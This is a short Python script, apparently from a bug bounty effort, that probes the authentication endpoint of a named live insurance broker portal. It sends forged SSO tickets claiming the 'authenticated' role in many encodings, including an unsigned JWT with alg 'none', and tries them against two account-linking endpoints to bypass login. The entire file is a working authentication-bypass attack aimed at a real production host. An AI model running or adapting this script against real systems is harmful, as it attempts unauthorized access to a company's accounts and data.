#!/usr/bin/env python3
from curl_cffi import requests
import base64, gzip, struct, time, json, uuid
host='maklerportal.baloise.de'; base='https://'+host+'/auth'
ident={'X-Bug-Bounty':'dwbzn'}
plain='username=bugbounty-dwbzn;PartnerId=bugbounty-dwbzn;WebserviceId=baloise-maklerportal;roles=authenticated,portal_mo;uniqueId=bugbounty-'+uuid.uuid4().hex+';'
raw=plain.encode('iso-8859-1')+struct.pack('>q',int((time.time()+600)*1000))
variants={
 'plain':plain,
 'plain-no-semicolon':plain.rstrip(';'),
 'base64':base64.b64encode(raw).decode(),
 'base64url':base64.urlsafe_b64encode(raw).decode().rstrip('='),
 'gzip-base64':base64.b64encode(gzip.compress(raw)).decode(),
 'double-base64':base64.b64encode(base64.b64encode(raw)).decode(),
 'esp-prefix-base64':'[ESP]'+base64.b64encode(raw).decode(),
 'jwt-none':base64.urlsafe_b64encode(b'{"alg":"none","typ":"JWT"}').decode().rstrip('=')+'.'+base64.urlsafe_b64encode(b'{"sub":"bugbounty-dwbzn","PartnerId":"bugbounty-dwbzn","exp":4102444800}').decode().rstrip('=')+'.'
}
for app in ['el_account_linking','el_account_linking2']:
 for name,ticket in variants.items():
  s=requests.Session(impersonate='chrome'); s.get(base+'/ui/app',headers=ident,timeout=20,toadex_capture=False)
  h={**ident,'X-Same-Domain':'1','X-CSRFT759':s.cookies.get('CSRFT759-S') or '','Accept':'application/json,application/vnd.api+json','X-IAM-SSO-Ticket':ticket,'Content-Type':'application/json'}
  try:
   r=s.post(base+f'/rest/public/authentication/applications/{app}/access',headers=h,data=b'',allow_redirects=False,timeout=20,toadex_capture=False)
   print(json.dumps({'app':app,'variant':name,'status':r.status_code,'len':len(r.content),'www':r.headers.get('WWW-Authenticate'),'loc':r.headers.get('Location'),'body':r.text[:300]},ensure_ascii=False),flush=True)
  except Exception as e: print(json.dumps({'app':app,'variant':name,'error':repr(e)}),flush=True)